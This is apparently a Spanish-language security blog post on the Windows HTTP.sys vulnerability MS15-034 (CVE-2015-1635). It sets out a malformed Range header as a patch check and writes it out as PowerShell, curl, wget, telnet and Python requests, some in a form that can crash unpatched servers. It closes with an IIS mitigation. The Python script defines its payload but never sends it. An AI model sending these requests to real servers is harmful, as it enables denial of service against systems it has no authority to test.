Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.
Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034
El error viene de agregar el siguiente encabezado a una solicitud HTTP como la siguiente:
Range:
bytes=0-18446744073709551615
Sin embargo, sirve como prueba útil para comprobar si el servidor está parcheado. Si el servidor está sin parchear, devolverá el siguiente error:
HTTP/1.1 416 Requested Range Not Satisfiable
En cambio si la respuesta es la siguiente, la vulnerabilidad está parcheada:
The request has an invalid header name
Sin embargo, las pruebas no son concluyentes porque se pueden encontrar algunas respuestas vulnerables sin que el servidor lo sea o viceversa.
Mediante PowerShell
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}
Usando Curl
$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"
wget
wget --header="Range: bytes=18-18446744073709551615" http://IP/default.aspx
Telnet
$ telnet 10.0.1.1 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615
Python
#Tested on Win Srv 2012R2.
import socket,sys
if len(sys.argv)<=1:
sys.exit('Give me an IP')
Host = sys.argv[1]
def SendPayload(Payload, Host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host, 80))
s.send(Payload)
s.recv(1024)
s.close()
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
SendPayload(Init, Host)
Mitigación especial para IIS
Si tienes un servidor IIS, se puede evitar el daño incluso antes de aplicar la actualización M15-034, usando una solución publicada por Microsoft:Deshabilitar IIS kernel caching. Esta solución es específica de IIS y puede causar problemas de rendimiento.Tenga en cuenta que Kernel caching está activado por defecto en IIS 7 y versiones posteriores. Así se puede desactivar en el web.conifg o machine.config.
[configuration]
[system.webServer]
[caching enableKernelCache="false"/]
[/system.webServer]
[/configuration]
Fuentes:
http://seguinfo.blogspot.com.es/2015/04/vulnerabilidad-critica-en-iis-parchea.html
http://www.hackplayers.com/2015/04/ms15-034-parchea-ya-o-muere.html
No hay comentarios:
Publicar un comentario